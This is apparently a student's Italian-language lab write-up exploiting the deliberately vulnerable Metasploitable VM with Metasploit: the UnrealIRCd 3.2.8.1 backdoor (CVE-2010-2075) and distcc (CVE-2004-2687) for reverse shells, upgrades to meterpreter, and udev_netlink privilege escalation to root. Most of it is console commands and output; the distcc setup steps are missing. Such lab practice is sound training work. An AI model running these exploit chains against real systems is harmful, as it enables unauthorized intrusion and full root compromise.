

W16D1 - (EXTRA) Analisi CVE metasploitable - pentesting Multiple tests

Danilo 'danix' Macrì - mia.mail@mio.sito

Scan started on 21/10/2025 - duration (days): 1

Contents

Sommario	1
Scope	1
Tecnologie utilizzate	1
CVE-2010-2075	2
CVE-2004-2687	5
Privilege escalation tramite udev	7

Sommario

In questo esercizio andremo ad analizzare 2 vulnerabilità descritte nelle seguenti CVE:

- [CVE-2010-2075](#)

Questa vulnerabilità interessava **UnrealIRCd** versione 3.2.8.1. Questa versione, distribuita tra Novembre 2009 e Giugno 2010 conteneva un trojan che permetteva l'esecuzione remota di comandi sulla macchina infetta.

- [CVE-2004-2687](#)

Questa vulnerabilità riguardava la libreria **distcc** versione 2.x. Quando non configurata correttamente permetteva ad un attaccante di eseguire comandi remoti senza verificarne i permessi.

Scope

Il nostro target sarà la macchina Metasploitable:

- 192.168.50.101
- http://metasploitable

Tecnologie utilizzate

- Metasploit Framework 6.4.94-dev

CVE-2010-2075

Per questo attacco cerchiamo la cve dentro al metasploit framework

```
msf > search cve-2010-2075

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > info 0
```

lo selezioniamo con `use 0` e ne vediamo le options disponibili

```
msf > use 0
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name      Current Setting  Required  Description
-      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT           yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.
```

impostiamo il nostro target con `set RHOSTS 192.168.50.101`

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
```

Impostiamo il payload `set payload cmd/unix/reverse` e andiamo a vedere se ci sono opzioni da settare

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CPORT            no        The local client address
  CPORT      Proxies          no        The local client port
  Proxies    RHOSTS 192.168.50.101 yes       A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
  RHOSTS     RPORT 6667         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
  LHOST      LPORT 4444       yes       The listen address (an interface may be specified)
  LPORT      The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
```

Impostiamo l'indirizzo IP della macchina kali con `set LHOST 192.168.50.100` e facciamo quindi partire l'exploit

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.50.100:4444
[*] 192.168.50.101:6667 - Connected to 192.168.50.101:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.50.101:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ESEdtIABSM0Zj305;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "ESEdtIABSM0Zj305\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:39002) at 2025-10-28 11:16:34 +0100

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
pwd
/etc/unreal
```

come vediamo siamo riusciti ad entrare con una shell semplice. Vediamo se riusciamo ad eseguire l'upgrade ad una shell meterpreter.

```
pwd
/etc/unreal
^Z
Background session 1? [y/N] y
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:53810) at 2025-10-28 11:20:16 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
-----

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell cmd/unix		192.168.50.100:4444 → 192.168.50.101:39002 (192.168.50.101)
2		meterpreter x86/linux	root @ metasploitable.localdomain	192.168.50.100:4433 → 192.168.50.101:53810 (192.168.50.101)

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > █
```

Con **Ctrl+z** mettiamo in background la shell iniziale e con il comando `sessions -u 1` lanciamo l'upgrade, e come vediamo dallo screenshot, viene attivata la sessione 2 con meterpreter, la attiviamo con `sessions 2` e siamo dentro con la shell avanzata.


```
msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 192.168.50.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sZQzi0LY9l804uU5;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sZQzi0LY9l804uU5\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:60378) at 2025-10-29 14:53:01 +0100

ls
4604.jsvc_up
█
```

e vediamo che ha funzionato e siamo dentro una shell semplice. Ne eseguiamo l'upgrade a meterpreter dopo averla messa in background

```
msf exploit(unix/misc/distcc_exec) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:38776) at 2025-10-29 14:53:46 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix/misc/distcc_exec) > sessions

Active sessions
-----
Id  Name      Type           Information                                     Connection
--  --
1   shell cmd/unix
2   meterpreter x86/linux daemon @ metasploitable.localdomain 192.168.50.100:4433 → 192.168.50.101:38776 (192.168.50.101)

msf exploit(unix/misc/distcc_exec) > sessions 2
[*] Starting interaction with 2...

meterpreter > █
```

e otteniamo la shell avanzata meterpreter. Come vediamo dal comando `getuid` siamo nel sistema con l'utente **daemon**.

```
meterpreter > getuid
Server username: daemon
meterpreter > █
```

Privilege escalation tramite udev

Proviamo ad eseguire una privilege escalation utilizzando un'altra vulnerabilità della macchina metasploitable, questa volta legata a udev, in quanto la versione installata sul nostro target presenta un bug per il quale non viene verificata la provenienza dal kernel dei messaggi netlink, quindi un utente normale può acquisire privilegi elevati inviando messaggi netlink dallo userland.

Per sfruttare questa vulnerabilità mettiamo in background la sessione 2 e usciamo dall'exploit con il comando `back`. Adesso cerchiamo il nuovo exploit con il comando `search udev_netlink`

```
Session Actions Edit View Help
msf exploit(unix/misc/distcc_exec) > back
msf > search udev_netlink

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/linux/local/udev_netlink         2009-04-16      great No     Linux udev Netlink Local Privilege Escalation
1  \_ target: Linux x86                     .               .    .     .
2  \_ target: Linux x64                     .               .    .     .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/local/udev_netlink
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x64'

msf > use 0
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/udev_netlink) >
```

lo selezioniamo con `use 0` e andiamo a vederne le opzioni

```
Session Actions Edit View Help
msf exploit(linux/local/udev_netlink) > options

Module options (exploit/linux/local/udev_netlink):

  Name          Current Setting  Required  Description
  --          -
NetlinkPID      SESSION         no        Usually udevd pid-1. Meterpreter sessions will autodetect
SESSION         yes             The session to run this module on

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name    Current Setting  Required  Description
  --    -
LHOST    192.168.50.100  yes       The listen address (an interface may be specified)
LPORT    4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Linux x86

View the full module info with the info, or info -d command.

msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) >
```


Impostiamo la sessione da utilizzare con il comando `set SESSION 2`¹

```
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2351
[*] Found netlink pid: 2350
[*] Writing payload executable (207 bytes) to /tmp/uJvdhnIXfs
[*] Writing exploit executable (1879 bytes) to /tmp/bYYqvsPVPw
[*] chmod'ing and running it...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.101:42100) at 2025-10-29 15:03:04 +0100
```

Lanciamo lo script e vediamo che viene creata una nuova sessione, la attiviamo con `sessions 3` e vediamo che siamo nella shell meterpreter. utilizziamo di nuovo il comando `getuid` per verificare il nostro utente attuale

```
meterpreter > getuid
Server username: root
meterpreter > 
```

Come si vede dallo screenshot abbiamo una shell meterpreter come utente root.

Con questo si conclude la nostra pratica di oggi.

Alla prossima.



¹Nello screenshot avevo impostato la sessione 1 come target ma la shell semplice non ha funzionato, quindi ho utilizzato la sessione 2 con meterpreter